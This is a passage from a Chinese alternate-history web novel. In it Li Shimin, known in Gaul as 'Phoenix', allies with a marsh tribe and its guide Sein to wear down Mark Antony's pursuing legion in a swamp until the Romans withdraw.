和安东尼一样,凯撒几乎第一时间就怀疑到李世民身上。报告末尾提到,安东尼将军已获悉,并可能采取“进一步行动”。 凯撒的眼神变得无比深邃。他将埃及翻译带来的惊天信息,与手中这份来自高卢乡野的军报重叠在一起。 一个自称“菲尼克斯”的、可能是东方皇帝的人,正在他的行省腹地,以精准而致命的方式打击着罗马的统治触角。而他那勇猛但暴躁的副将,已经闻着血腥味扑了上去。 “雷克斯,”凯撒的声音平静,却蕴含着风暴,“派人追上安东尼的信使,或者用最快的渠道,给安东尼带句话。” 他停顿片刻,一字一句道:“‘我要活的菲尼克斯。告诉他,这是战略命令,违者以叛国论处!” 四、传言发酵 就在安东尼的军团精锐轰然南下,凯撒的命令还在路上追逐之时,“菲尼克斯”的名字,却以另一种方式在高卢的土地上悄然蔓延。 南部城镇喧嚣的酒馆里,几杯酸葡萄酒下肚,人们的舌头便灵活起来。 “听说了吗?北边出了个狠人,叫‘菲尼克斯’,把罗马收税官的队伍给宰了,粮食都抢了,还放了好些被抓的老乡!” “菲尼克斯?不死鸟?这名字够劲!等等……两个月前,是不是有个东方人,单枪匹马在奥德河下游那边,烧了一个大奴隶贩子的营地,放跑了几千个奴隶?闹得天翻地覆,罗马人追了半个月都没摸到影子?” “对对对!也是黑衣服,神出鬼没!我看八成就是同一个人!乖乖,打税官,杀奴隶贩子,专门跟罗马人过不去啊!” “何止过不去,我听说他刀枪不入,能召来雾气,罗马人连他脸都看不清!” “让罗马人都头疼的厉害角色……”有人压低声音,语气里带着难以掩饰的兴奋和一丝敬畏,“了不得,真是了不得。” 添油加醋,口耳相传。袭击税吏的“菲尼克斯”,与之前袭击奴隶贩子的神秘东方人,在民间叙事中迅速合二为一,并开始被赋予超自然的色彩。 一个反抗罗马强权、劫富济贫(或至少劫罗马济高卢)的游侠形象,在无数受压迫的佃农、奴隶和破落部民心中,投下了一丝微弱的、却真实存在的影子。 “菲尼克斯”不再只是一个逃亡者的代号,它开始变成一个象征,一个传说,一簇在罗马铁蹄下悄然燃起的、危险的火星。 而点燃这簇火星的人,对此尚不完全知晓。他正穿梭在高卢南部的丘陵与林地间,黑色身影如同融入大地的幽灵,一边躲避着骤然收紧的搜捕网,一边冷静地评估着身后追兵——那不同于以往地方部队的、更为沉重和专业的压迫感。 正规军来了。 李世民能感觉到,这一次,猎手与猎物的游戏,已进入全新的、更危险的篇章。 22. 第四章 沼泽与不死鸟 第四章沼泽与不死鸟 第一节驱入绝地 塞文山脉东南麓,地势在五十里内陡然沉降,茂密的森林被一片无边无际的灰绿色泽国取代。 这里没有明显的边界——坚实的土地像被某种缓慢的疾病侵蚀,渐渐化为吸饱了水的海绵,再向外延伸,便是冒着气泡的泥潭、被腐烂植被覆盖的暗湖、以及终年笼罩着苍白雾气的无路之境。 高卢人叫它“鬼喘之地”,连最勇敢的猎人也不愿深入。传说沼泽深处有古神沉睡,呼出的气息能让活物肺叶腐烂,踏错一步便会被无底淤泥吞噬。 现在,马库斯·安东尼正站在沼泽边缘一处稍高的土丘上,望着眼前这片地狱般的景象,脸上终于露出了近两个月来第一个真切的笑容。 他压倒性的军事优势取得了成效: 1. 第一、第二骑兵中队:一个标准的罗马骑兵中队(Ala)约有80-100名骑兵。两个中队意味着 160-200名精锐骑兵。这是机动性和冲击力的核心。 2. 最擅长追踪和山地作战的百人队:一个满编百人队(Centuria)为80-100人。这是安东尼亲卫中的精英,负责山地清剿和致命一击。 3. 总兵力:约240-300名罗马常备军中的绝对精锐。 这不是地方治安队,这是凯撒麾下百战军团的核心力量,装备、纪律和作战经验远超之前遇到的税吏护卫或奴隶贩子武装。 骑兵负责大范围机动、侦察和追击封锁;山地步兵负责深入复杂地形进行拉网式清剿。这是一个针对“逃亡者”的完美猎杀体系。 这支队伍由满腔怒火、誓要雪耻的副帅亲自率领,其决心和攻击性达到了顶点。李世民绝无可能在正面战斗或常规游击中对抗这支力量。 “他进去了。”副官埃米利乌斯确认了最后一批侦察兵带回的消息,“昨天黄昏,至少三名斥候亲眼看见那个黑影消失在西北方向的雾里。足迹在硬地上消失,指向沼泽深处。” 安东尼深吸一口气,沼泽特有的腐败与硫磺混合的气味冲进鼻腔,让他皱了皱眉,但眼神依然锐利:“他选了一条死路。” “或者是他认为的活路。”百夫长马尔库斯谨慎地补充,“将军,我们对这片沼泽一无所知。没有地图,没有向导,连本地人都避之唯恐不及。如果他熟悉地形……” “他一个东方人,怎么可能熟悉高卢的沼泽?”安东尼打断他,声音里带着快意,“他是走投无路了。塞文山区我们步步紧逼,东南西北所有出口都被封死,他只剩下两个选择:回头和我们决战,或者逃进这片连野兽都活不下去的烂泥塘。” 他转身,面向身后已经列队完毕的两个步兵大队和骑兵中队。士兵们脸上带着长途追击的疲惫,但更多的是终于看到猎物落入陷阱的兴奋。 “听着!”安东尼的声音在沼泽死寂的边缘回荡,“那个羞辱了罗马、杀了我们兄弟、抢了我们军粮的杂种,现在就躲在这片烂泥后面。他以为躲进去我们就拿他没办法了?” 他拔出短剑,剑尖指向沼泽深处翻涌的雾气: “我要你们跟进去。一步、一步、一步地搜!把每一寸泥潭翻过来!如果沼泽吞了他,就把沼泽挖开找他的尸体!如果他还活着——” 安东尼的嘴角咧开一个狰狞的弧度: “把他拖到我面前来,我要亲手把他钉在十字架上!” 命令如山。罗马士兵们开始整备,将沉重的行囊减轻,用油布包裹武器和干粮,用麻绳互相连接以防在迷雾中走散。没有人喜欢这片散发着死亡气息的泽国,但军令不可违。 安东尼没有注意到,在沼泽边缘一片看似普通的芦苇荡中,几双眼睛正透过缝隙静静注视着这一切。 那是住在沼泽外围零星村落的高卢人。他们世代居住在此,知道哪些地方可以踩,哪些水可以喝,哪些雾有毒。他们看着罗马军队像一群铁皮包裹的笨重野兽,一头扎进连他们自己都只敢小心翼翼探索的边缘地带。 一个脸上涂着靛蓝纹样的年轻猎手,用极低的声音对身边的同伴说:“他们真的进去了……去找‘那个人’。” 同伴,一个头发像枯草般蓬乱的中年男人,眯起眼睛:“昨天黄昏,我看见了。从西边来的,像一道黑色的影子,直接进了‘老瘴潭’的方向……那地方连我们都不敢去。” “他死了吗?” “不知道。”中年男人摇头,“但罗马人要是追进去……会死很多人。” 两人对视一眼,悄然后退,像水獭一样滑入芦苇深处,没有发出丝毫声响。 他们要把这个消息带回去。带给长老,带给族人。 因为那个独身闯入沼泽的东方人,或许是他们等待了太久的某种……预兆。 第二节泥潭中的神灵 李世民在沼泽深处已经待了三天。 这三天比他过去一个月的逃亡加起来都要艰难。每一步都可能踩进看似坚实、实则深不见底的淤泥;每一口呼吸都可能吸入混杂着腐烂植物和未知毒气的雾气;夜晚的寒冷湿气能穿透最厚的衣物,钻进骨头缝里。 但他还活着。 不仅活着,他还在学习——用最痛苦的方式学习这片死亡之地的规则。哪些苔藓覆盖的地面相对安全,哪些水洼的水经过沉淀可以勉强饮用,哪些区域的雾气颜色不对必须绕行。 第三天正午,他伏在一处略微凸起的土埂上,透过弥漫的灰白色雾气,观察着大约三百步外的一队罗马士兵。 这支小队有十二人,呈松散的搜索队形前进。他们走得很慢,每一步都用长矛试探地面,彼此用绳索相连。即使如此,李世民还是看到至少两人失足陷进泥潭,被同伴费力拉出,浑身糊满恶臭的黑泥。 “不适应地形……队形受限……士气受挫。”他在心中默默记录。 就在这时,异变突生。 小队前方一处看似普通的水洼忽然冒出一连串细密的气泡,紧接着,一股淡黄色的烟雾从水下翻涌而出,迅速扩散。最前面的两个士兵猝不及防吸入口鼻,瞬间剧烈咳嗽起来,捂住喉咙跪倒在地。 “毒气!后退!”小队长嘶声大喊。 队伍仓皇后撤,但慌乱中绳索纠缠,又有一人踩空,半条腿陷入泥潭,惊恐地挣扎。其他人手忙脚乱去拉,整个小队乱作一团。 李世民静静看着。他没有动。这不是他制造的陷阱,只是沼泽本身的“呼吸”。但他记下了那个水洼的位置、毒气出现的征兆、以及罗马士兵的反应时间。 约莫一刻钟后,小队勉强重整,拖着中毒咳嗽的同伴和满身泥污的落难者,狼狈地向来路撤退。他们甚至没有继续搜索前方——那片区域现在被淡黄色雾气笼罩,像一道天然的屏障。 李世民等他们完全消失在雾中,才缓缓起身。 他没有往罗马士兵来的方向走,而是绕了一个大弧线,避过毒气区,朝着沼泽更深处、连高卢猎人都罕至的区域前进。 方向是西北。因为他记得两天前在一处较高的土丘上眺望时,西北方向隐约有炊烟的痕迹——在沼泽深处,炊烟只意味着一件事:有人居住。 冒险,但值得一试。 --- 又过了一天。李世民的食物彻底耗尽,最后一小块熏肉干在清晨就化为了维持体温的能量。饥饿像钝刀刮着胃壁,而沼泽的湿冷无时无刻不在汲取他身体的热量。 傍晚时分,他在一处长满怪异红色水草的浅滩边停了下来。水草间漂浮着一些贝壳类生物,但他不认识,不敢贸然食用。 就在他蹲下身,试图从浑浊的水中分辨是否有鱼类时,身后传来了极其轻微的“咔嚓”声——是枯枝被踩断的声音,但太轻了,轻得像有人刻意控制。 李世民的身体瞬间绷紧,右手无声地滑向腰间的短剑柄。 芦苇丛静默了片刻。然后,分开。 走出来的是三个人。两个男人,一个年轻女人。男人都穿着用沼泽植物纤维编织的简陋衣物,脸上涂着靛蓝色纹样,手里握着削尖的木矛,矛尖对着李世民,眼神警惕而好奇。 年轻女人则不同。她大约二十岁上下,身材高挑精瘦,像一株长在岩缝里的白桦。她没有像男人那样涂面,深棕色的头发编成许多细辫,用皮绳束在脑后。她穿着鞣制过的鹿皮短衣和长裤,腰间挂着一柄短剑——罗马制式,但握柄缠着高卢风格的红线。 最引人注目的是她的眼睛。琥珀色的,在沼泽灰暗的光线中,像两簇未曾熄灭的火。 她上下打量着李世民,目光从他的脸、到身上沾泥的披风、再到腰间那把磨旧的罗马制式短剑鞘,最后回到他的脸上。 她开口,声音低沉而清晰,说的是高卢语,但带着某种李世民没听过的口音:“你不是罗马人。” 李世民听不懂高卢方言。 女人微微歪头:“‘菲尼克斯’?” 李世民愣住了。他没想到这个名字已经传到了沼泽深处。 女人似乎从他的反应中得到了答案。她转向两个男人,快速说了几句李世民听不懂的方言。两个男人对视一眼,犹豫着,最终还是缓缓放下了木矛。 女人重新看向李世民,这次,她用更慢、更清晰的拉丁语,配合着手势说:“你……杀罗马人。救……高卢人。在奥德河,在灰岩村。我们……知道。” 她指了指西北方向:“我们的村子……在那里。你,来。有食物,有……安全的地方。” 李世民没有立刻回应。他在评估:陷阱的可能性?但对方如果真想害他,刚才在芦苇丛中就可以放箭或投矛。而且他们提到了奥德河和灰岩村——那是他确实做过的事。 最重要的是,他此刻没有更好的选择。 他点了点头。 女人脸上第一次露出了极淡的笑容。她转身带路,两个男人一左一右跟在李世民两侧,不是押送,更像是护卫。 一行人无声地穿行在沼泽小径上。女人对地形的熟悉令人惊叹,她总能找到看似无路之处隐藏的坚实土埂,避开所有危险的水洼和毒气区。有时她会停下,从腰间一个小皮囊里抓出些粉末撒在空中,根据粉末飘散的方向判断风向和气体流动。 约莫走了半个时辰,雾气渐淡,前方出现了一片建在水上高脚桩上的村落。 村落不大,大概三十几栋用芦苇、泥巴和木材搭建的房屋,由狭窄的木栈道连接。栈道下方是相对清澈的活水,能看到鱼群游动。村落中央的空地上燃着几堆篝火,烟气被巧妙引导,在高处散开,不易被远处察觉。 看到女人和两个男人带回一个陌生人,村落里的人们纷纷从屋里走出,聚集到栈道边。他们的眼神里有好奇、警惕,但当女人用方言快速解释后,那些警惕渐渐化为了惊讶,然后是……某种近乎敬畏的神色。 一个白发苍苍的老者,在年轻人的搀扶下走上前。他盯着李世民的脸看了很久,又看了看他腰间的剑,最后用苍老而沙哑的声音问: “你就是……那只从火焰中飞出的鸟?” 李世民听不懂。他看向那个女人。 女人深吸一口气,转向李世民。这一次,她用一种庄严的、近乎仪式的语调,一字一句地说: “沼泽的子孙,欢迎你,菲尼克斯。” ?? 第三节塞恩与沼泽之民 年轻女人叫塞恩,意为“沼泽之鹰”。她是这个名为“芦苇民”的高卢小部落最优秀的猎手和向导,也是少数几个能说流利拉丁语的人——她的母亲曾是罗马边境城镇的奴隶,逃进沼泽后生下了她。 现在,塞恩坐在李世民对面,中间隔着一堆小小的篝火。火焰驱散了屋内的湿冷,陶罐里煮着鱼汤和野菜,散发出久违的食物香气。 “我们世代住在这里。”塞恩用拉丁语说,她的发音生硬但准确,“沼泽保护我们。罗马人不愿进来,税吏不敢深入。但我们也要付出代价——每年都有人死于毒气、陷进泥潭,或者被沼泽里的疾病带走。” 她舀了一碗鱼汤递给李世民:“吃吧。你看上去像快饿死了。” 李世民没有客气,接过碗,小口但迅速地喝着。温热的液体流进胃里,像干涸的土地迎来第一场雨。他克制着自己不要吃得太急,但身体的渴望几乎压倒理智。 他的拉丁语水平目前只能进行简单的日常用语交流,是他最近两个月疯狂自学的成果,但远远不够进行复杂含义的表达。 而且他没有拉丁语老师,唯一教过他三天拉丁语基础的是一位十四岁的少年。 在大唐,有十八位博学多才、名重天下的大师教导他文、史、政、哲,书章典籍堆满几座宫殿。在这里什么都没有,没有书籍,没有书馆——或者有私人馆藏,但他接触不到——,连他看不上的莎草 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李世民没有解释。那是多年来在生死边缘磨炼出的本能,是观察、推理和一点点直觉的结合。但在这个对沼泽了如指掌的女人面前,他意识到自己的“知识”有多么浅薄。 “罗马人进来了。”他说,放下空碗,“大约两百到三百人。分成小队搜索(这一句表达不出来)。他们不适应地形,已经有人中毒、受伤。” 塞恩的嘴角勾起一丝冷笑:“让他们进来。沼泽会吞掉他们,不需要我们动手。” “但他们不会放弃。”李世民看着她,用简单的词汇和尽量明确的手势表达他的想法:“他们的指挥官很固执,多危险都敢跟进。他会不断派人进来,直到找到我,或者直到他的军队消耗殆尽。” 塞恩花了点时间才弄懂他的意思,挑眉:“你想让我们帮你躲得更深?我们可以。沼泽深处有些连我们都不知道的地方,藏一个人很容易。” 李世民沉默了片刻。火光照亮他消瘦但依然棱角分明的脸,那双深如墨潭的眼睛里,有什么东西在缓缓凝聚。 “我不只是想躲。”他最终说,声音很轻,但每个字都像凿进木头里的钉子,“我想让他们……再也出不去。” 塞恩愣住了。 李世民抬起眼,直视着她:“你们熟悉沼泽。知道哪里有流沙,哪里有毒泉,哪里看起来是路其实是死胡同。如果我们合作……”流沙、毒泉、死胡同的词汇他不知道,全部替代成陷阱。 “我们为什么要帮你?”塞恩打断他,语气尖锐起来,“帮一个来路不明的外人,对抗罗马军队?那会给我们带来灭顶之灾!” “不会知道。”李世民的声音依然平静,“如果进来的人都死了,或者迷路了,永远走不出去,谁还能回去报信?” 塞恩张了张嘴,没说出话。 “而且,”李世民继续,语气里多了一丝什么东西——不是恳求,不是威胁,而是一种近乎自然的笃定,“你们已经帮了我。给我食物,给我庇护。如果罗马人找到这里,他们会相信你们是无辜的吗?” 他说的是事实。芦苇民部落已经卷入其中,无法完全撇清。 塞恩盯着他,许久,忽然笑了。那笑容里没有温度,只有一种认命般的决绝。 “你说得对。”她站起身,走到屋角一个粗糙的木柜前,打开,取出一卷用油布仔细包裹的东西。那是一张手绘的沼泽地图,笔触粗糙,但标注着密密麻麻的符号——安全路径、危险区域、水源地、可藏身的洞穴…… 她把地图摊在李世民面前。 “这是我的曾祖父画的。传了四代人。”塞恩的手指划过地图上那些扭曲的线条,“这里,是我们现在的位置。往东五里,是‘叹息泥潭’,表面看起来是硬地,踩上去三息之内就会沉到腰。往南三里,有片‘鬼打墙’的雾区,进去了就绕不出来,直到饿死。往西……” 她一口气说了十几个天然陷阱的位置和触发方式。 李世民没完全听懂是什么陷阱,但是陷阱就行。他的目光在地图上快速移动,记忆、分析、组合。一个计划在他脑中逐渐成形——不是正面对抗,而是引导、分化、消耗,让这片沼泽本身成为最致命的武器。 “我们需要更多眼睛。”他指了指自己的眼睛,又指向地图,表达这样的意思:“监视罗马人的动向,知道他们每天从哪里进来,分成几队,往哪个方向搜索。” 塞恩点头:“猎手们可以做到。他们知道怎么在沼泽里隐身。” “还需要误导。”李世民指向地图上几处相对安全的区域,“在这里,留下一些痕迹——破碎的布条,熄灭的火堆,假的足迹。把罗马小队引向错误的方向,引向那些陷阱。” “然后呢?”塞恩问,“等沼泽吃掉他们?” “不全是。”李世民的眼神变得深邃,“我们要让他们……慢慢失血。每天损失几个人,中毒几个,迷路几个。不致命,但持续。让恐惧在活下来的人心里生根,让指挥官不断听到坏消息,却看不到任何成果。” 他抬起头,看向塞恩:“最重要的是——找到他们的补给线。沼泽边缘的营地,从哪里获得食物、水、药品。然后,切断它。” 这段复杂的意思,两人用拉丁语和手势重复交流了多遍,才互相理解到。 塞恩倒吸一口冷气:“你要攻击他们的后方?” “不是攻击。”李世民纠正,“是让补给……消失。让运送补给的队伍迷路,让储存的粮食发霉或被动物糟蹋,让水源被污染。不需要战斗,只需要让沼泽帮我们做这些事。” 房间里安静下来。只有篝火的噼啪声,和屋外沼泽永不止息的水声。 塞恩看着眼前这个东方男人。他衣衫破旧,面容憔悴,但那双眼睛里的光芒,却像沼泽最深处的磷火,冰冷、执拗、燃烧不息。 她忽然明白了,为什么那些猎手在描述他时,会用上“像从传说里走出来”这样的词。 “你真是个疯子。”她最终说,但语气里没有责备,反而有种奇异的兴奋。 “也许。”李世民站起身,对塞恩伸出手——不是罗马人的握手礼,也不是高卢人的拥抱,而是一个简单的、掌心向上的邀请姿势。 “合作?” 塞恩看着那只手。骨节分明,指骨修长,带着剑茧和新鲜的擦伤。 她伸手,握住。 “合作。” 23. 第五章、五个月造神 第五章、五个月造神 接下来的日子,沼泽变成了一个缓慢运转的死亡磨盘。 罗马军队每天派出四到六支搜索小队,每队十至十五人,深入沼泽不同方向。他们带着安东尼的死命令:找到那个东方人,或者找到他的尸体。 但沼泽从不合作。 第一天,东侧小队误入“叹息泥潭”,五人陷没,救援过程中又有两人吸入毒气,被抬回时已神志不清。 第二天,南侧小队在“鬼打墙”雾区迷失方向,转了整整一天一夜才狼狈逃出,丢盔弃甲。 第三天,西侧小队遭遇大量沼泽寄生虫袭击,半数士兵高烧不退。 第四天,北侧小队发现了一处“疑似宿营地”——那是塞恩的猎手们精心布置的假象,留下的足迹指向一片看似平实的浅滩。小队追过去,浅滩突然塌陷,下面是暗流汹涌的地下河道,两人被卷走,再无踪影。 每天都有伤亡报告送到安东尼手中。数字不大,三五个,七八个,但持续不断,像钝刀子割肉。 更可怕的是一无所获。没有那个东方人的踪迹,没有战斗过的迹象,甚至没有确凿的证据证明他还活着——或者已经死了。 沼泽像个沉默的巨兽,吞下士兵,吐出尸体或伤员,却从不给出答案。 安东尼的耐心在迅速消磨。他暴怒地斥责侦察兵无能,惩罚带队百夫长,甚至亲自带队进入沼泽边缘,但只走了不到五里,就被无处不在的泥潭、毒虫和能见度不足十步的浓雾逼退。 “他在戏耍我们!”在沼泽边缘的指挥帐里,安东尼对着地图咆哮,“他知道这片烂泥地!他在里面如鱼得水!而我们像一群瞎了眼的猪,在泥坑里打滚!” 马尔库斯硬着头皮建议:“将军,也许……我们应该暂时撤出沼泽,封锁所有出口,等他弹尽粮绝自己出来?” “然后让他笑话我们胆小如鼠?”安东尼猛地转身,眼睛赤红,“不!我要加派人手!从附近驻军调两个辅助大队过来!我要把这片沼泽犁一遍!每一寸泥都要翻过来!” 命令下达了。更多的罗马士兵被调集过来,沼泽边缘的营地扩大了一倍。但补给的压力也随之剧增——两百多人的正规军,加上新调来的三四百辅助部队,每天消耗的粮食、药品、干净饮水是个惊人的数字。 补给车队从三十里外的罗马据点“灰石堡”出发,每三天一趟,沿着一条勉强可以在沼泽边缘通行的土路运输物资。 这条路是多年前罗马工兵草草修建的,本就狭窄崎岖,在冬季的严寒下,冻土坚硬如石,车辙处却又因反复碾压化开成为冰泥混合的可怕陷阱。 起初一切顺利。直到半个月后。 第一支补给车队在距离营地还有五里的地方,发现必经的木桥断了。不是被洪水冲垮的痕迹,而是桥墩关键位置的榫卯被人为锯断了一半,车队第一辆牛车刚上去,桥就塌了。两车粮食掉进深涧,护送小队花了一整天打捞,损失过半。 五天后,第二支车队在夜间扎营时,储存饮水的皮囊被集体割破。不是偷,只是破坏。等清晨发现时,所有水已漏光,车队不得不在没有干净饮水的情况下在沼泽边缘多待一天,数名士兵因饮用不净生水而腹泻虚脱。 又过一周,第三支车队的领头牛群在夜间突然受惊狂奔,冲散了车队队形,三辆车翻进路旁泥潭,满载的药品和绷带全部报废。 小事故。每一次都不致命,但每一次都造成物资损失、时间延误和士气打击。 安东尼起初认为是偶然,是糟糕的路况和天气。但太多次“偶然”之后,连最迟钝的百夫长都察觉到了异常。 “有人在我们背后捣鬼。”马尔库斯在军事会议上直言,“不是那个东方人一个人能做到的。有人在帮忙——本地人。” “那就把本地人杀光!”安东尼拍案而起,“把所有沼泽边的村子烧了!把村民吊死在路边!看谁还敢帮他!” “将军,不可!”卢修斯急道,“我们没有证据证明是哪个村子做的。而且如果大规模屠杀,可能会激起更广泛的反抗,到时候……” “那就找到证据!”安东尼的咆哮震得帐篷簌簌作响,“派侦察兵!跟踪每一个从沼泽里出来的人!审问!用刑!我要知道是谁在和我们作对!” 但沼泽太大了,边缘线太长了。罗马士兵可以封锁主要通道,却无法监视每一条隐秘的水道、每一处隐蔽的芦苇荡。而“芦苇民”和其他零星部落的猎手们,世代在此生活,知道所有不为人知的小径。 他们像幽灵一样进出沼泽,传递消息,运送少量物资(给李世民),破坏补给线(给罗马人),然后消失在雾中。 李世民很少亲自参与这些行动。他的角色更像是大脑——根据塞恩和猎手们带回的情报,分析罗马军队的动向、补给线的弱点、安东尼的心理状态,然后制定下一步计划。 他住在村落深处一栋不起眼的吊脚楼里,村民为他提供了衣食和过冬的炭火。他白天研究塞恩的地图,推演可能的战局变化;夜晚则向塞恩学习拉丁语,了解这片土地和人民的历史、习俗、仇恨与渴望。 他发现,这些被罗马人蔑称为“沼泽蛮子”的高卢人,有着惊人的坚韧和智慧。他们懂得利用每一种沼泽植物——哪些可以治病,哪些可以编织,哪些的根茎可以食用。他们知道如何预测天气,如何与这片危险的土地共存。 更重要的是,他们心中积压着对罗马的深仇。税吏的掠夺,士兵的暴行,亲人的死亡……无数血泪故事。 而李世民,这个独身对抗罗马军队的“菲尼克斯”,不知不觉间成为了他们希望和复仇的化身。 塞恩成了他最得力的助手和翻译。她不仅语言流畅,更对罗马军队的组织方式和思维方式有着深刻理解(来自她母亲)。她能在李世民简短的指示和高卢猎手们朴素的经验之间架起桥梁,将那些精妙的战术设想,转化为猎手们可以执行的、具体的“沼泽把戏”。 两人的配合日益默契。有时甚至不需要语言,一个眼神,一个手势,对方就能理解意图。 村落里开始流传一些私语。关于塞恩和那个东方男人长时间待在屋里“商议”,关于他们并肩站在高处眺望沼泽边缘的罗马营火,关于塞恩看他时,眼中那簇越来越亮的火光。 但没人公开说什么。因为在所有人心中,“菲尼克斯”已不仅是客人或盟友,而是某种更接近……神灵代行者的存在。 --- 时间进入第二个月。 几场寒流过后,夜晚开始结冰。雾变得更浓、更冷,带着刺骨的湿寒。罗马士兵们的状况急剧恶化。 冻伤、风湿、沼泽热(一种致命的寒热病)开始在营地蔓延。药品早已短缺,干净饮水和保暖衣物更是奢侈。士气低落到了极点——士兵们宁愿面对战场上明刀明枪的敌人,也不愿每天走进那片不知会以何种方式杀死自己的迷雾。 而补给线的问题终于爆发了。 连续三支车队遭遇“重大事故”:一支被引向早已废弃、布满陷坑的旧路,全军覆没;一支的粮草在夜间被不知名虫蚁蛀空了大半;最后一支,也是最致命的一支——护送小队在距离营地仅两里的地方,遭遇了伏击。 不是刀剑弓弩的伏击。是沼泽的伏击。 他们走过的路面突然塌陷,露出下面被刻意挖空、灌满腐水的深坑。坑底插着削尖的木桩,涂着沼泽里提取的毒液。十二人的护送队,六人当场死亡,三人重伤,剩余三人连滚爬爬逃回营地报信。 而他们护送的,是营地急需的最后一批过冬衣物和药品。 消息传回时,安东尼正在帐篷里对着最新一份伤亡名单发愣——过去七天,非战斗减员达到了四十七人,超过了之前一个月的总和。 他听着逃回来的士兵语无伦次地描述“地面突然开了口子”、“下面有鬼”,听着军需官汇报库存粮食仅够维持五天,药品已彻底耗尽,听着医官说如果再没有干净绷带和退烧药,营地里的伤病患者至少会死一半。 安东尼没有说话。 他缓缓坐下,看着帐篷中央那堆烧得正旺的炭火。火光在他脸上跳动,照亮了那双曾经燃烧着暴怒火焰的眼睛——现在,那火焰熄灭了,只剩下灰烬般的疲惫和某种更深的、近乎空洞的东西。 他输了。 不是输在战场上,不是输给某个强大的敌人。 他输给了一片沼泽。输给了雾气、泥潭、毒虫和疾病。输给了一个看不见、抓不着、却能让他最精锐的部队像雪一样消融的幽灵。 “将军……”马尔库斯的声音在耳边响起,小心翼翼,“我们……必须考虑了。士兵们撑不住了,再待下去……” “撤吧。” 安东尼的声音很轻,轻得像一声叹息。但帐篷里所有人都听见了。 卢修斯抬起头,不敢相信自己的耳朵。 “我说,撤。”安东尼重复,这次声音清晰了些,但依然没有起伏,“明天开始,分批撤离。伤员先走,能走的自己走。带不走的物资……烧了。” 他站起身,走到帐篷门口,掀开帘子。外面,沼泽永恒的雾气在夜色中翻涌,像一头巨兽无声的呼吸。 “但是将军,”马尔库斯忍不住问,“那个东方人……菲尼克斯……我们不等他出来了?” 安东尼沉默了很久。久到马尔库斯以为他不会回答了。 “他不会出来了。”最终,安东尼说,声音里有一种奇异的平静,“或者说,他从未‘进去’过。” 他回头,看了一眼帐内那张早已被标记得面目全非的沼泽地图: “他就在那里。在这片沼泽的每一寸泥里,每一团雾里,每一口有毒的水里。他变成了这片土地本身。而我们……我们只是在和一片土地作战。” “那怎么向凯撒统帅交代?”卢修斯低声问。 安东尼的嘴角扯动了一下,像是一个没能成形的笑容。 “我会写报告。说我们追捕逃犯进入沼泽,遭遇恶劣地形和气候,被迫撤回。至于那个‘菲尼克斯’……就当他已经死在沼泽深处了吧。” 他顿了顿,补上一句,声音低得几乎听不见: “或许,这样对所有人都好。” --- 罗马军队的撤离持续了五天。 他们走得很慢,因为伤兵太多,士气太低。士兵们沉默地打包所剩无几的行装,焚烧带不走的帐篷和物资,然后将阵亡同伴的尸体草草掩埋在沼泽边缘——没有墓碑,只有一个个不起眼的土堆,很快就会被疯长的芦苇掩盖。 最后一批后卫部队离开的那天傍晚,李世民站在村落中央最高的瞭望台上,远远望着沼泽边缘那片曾经营火通明、现在只剩黑 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李世民静静听着。他没有说话,只是抬起手,轻轻按在胸口——那里,心跳平稳而有力。 三个月。从被逼入绝境的逃亡者,到成为沼泽之民心中的象征。从孤身一人,到拥有了一支看不见却无处不在的军队。从挣扎求存,到让罗马副帅黯然撤军。 这条路走得艰难,走得危险,但终究……走出来了。 “接下来怎么办?”塞恩问,“罗马人不会永远放弃,可能会带更多人回来,或者换更熟悉沼泽的将领。” 李世民望向北方。越过这片沼泽,越过塞文山脉,是无尽的未知。 “我需要了解更多。”他说,“关于罗马,关于高卢,关于更远的地方。我需要知道,有没有可能……回去。” “回东方?”塞恩明白了。 “嗯。”李世民点头,“但在此之前,我需要力量。需要盟友,需要情报,需要……一个名字。” “菲尼克斯这个名字已经够了。”塞恩说,“现在整个高卢南部,从卢瓦尔河到地中海,所有被罗马压迫的部落都在谈论你。谈论那个在沼泽里拖垮了安东尼军队的不死鸟。有些人开始在家里偷偷画你的符号——一只从火焰或泥潭中飞起的鸟。他们相信,只要呼唤这个名字,勇气就会回到心里。” 她顿了顿,声音变轻:“你已经成为一个传说了,一个活着的传说。” 李世民沉默了片刻。 “传说救不了人。”他最终说,“刀剑、粮食、团结起来的决心,这些才能救人。” 他走下瞭望台,来到村民们中间。人们自动让开一条路,眼神里充满了敬畏和期待。 老长老上前,将一枚用沼泽硬木雕刻的护符递给他。护符的形状是一只简朴的鸟,线条粗犷,但振翅欲飞的姿态栩栩如生。 “带着它,菲尼克斯。”长老用苍老的声音说,“无论你去哪里,沼泽之民永远是你的朋友。我们的门,永远为你敞开。” 李世民接过护符,握在掌心。木头温润,带着人体的温度。 “谢谢。”他用新学会的高卢语说,虽然发音生涩,但足够清晰。 人群发出低低的欢呼。 塞恩走到他身边,低声说:“我跟你走。你需要翻译,需要向导,需要有人帮你了解这片土地和人心。” 李世民看着她,没有立刻答应。这三个月,塞恩不仅是翻译和助手,更是他在这个陌生世界里最坚实的支点。但他知道前路只会更危险。 “可能会死。”他警告。 “死在沼泽里,和死在外面,有什么区别?”塞恩笑了,那笑容在暮色中明亮而锋利,“至少在外面,我能看见更多的天空。” 李世民不再多说,点了点头。 当夜,村落举行了简单的送别仪式。人们分享了存粮,唱起了古老的沼泽歌谣。歌声苍凉悠远,在雾气和水波间飘荡,像在为远行者祝福。 第二天黎明,李世民和塞恩离开了村落。 他们走的是猎手们才知道的隐秘小径,避开所有可能还有罗马眼线的方向。出发前,李世民最后回头看了一眼那片在晨雾中若隐若现的水上村落。 这是他来到这个陌生世界的第五个月,最寒冷的冬天已经过去,春天的脚步正在临近。无论他本人意愿如何,事实上他承接了高卢领袖维钦托利缺席后的权力与地位真空。 三个月前,他满身泥污、饥寒交迫地来到这里。 三个月后,他带着一个传说、一枚护符、一个誓言,和一位愿意与他同行的战士,离开这里。 前方道路漫长,危机四伏。 但至少现在,他不再是孤身一人。 而“菲尼克斯”这个名字,已经像沼泽深处悄然燃起的野火,开始在高卢大地上蔓延。从最底层的农奴到心怀不满的小酋长,从饱受税吏之苦的村民到在罗马军团中服役却心怀故土的高卢辅助兵,越来越多的人开始低声谈论: 那只从死亡沼泽中飞出的鸟。 那只让罗马鹰旗黯然撤退的鸟。 那只也许……能带来改变的鸟。 传说正在生根。 而传说本身,有时就是最锋利的武器。 24. 第六章、橡树之心 第六章、橡树之心 一、南行路上 晨雾如纱,笼罩着塞文山脉南麓的丘陵。 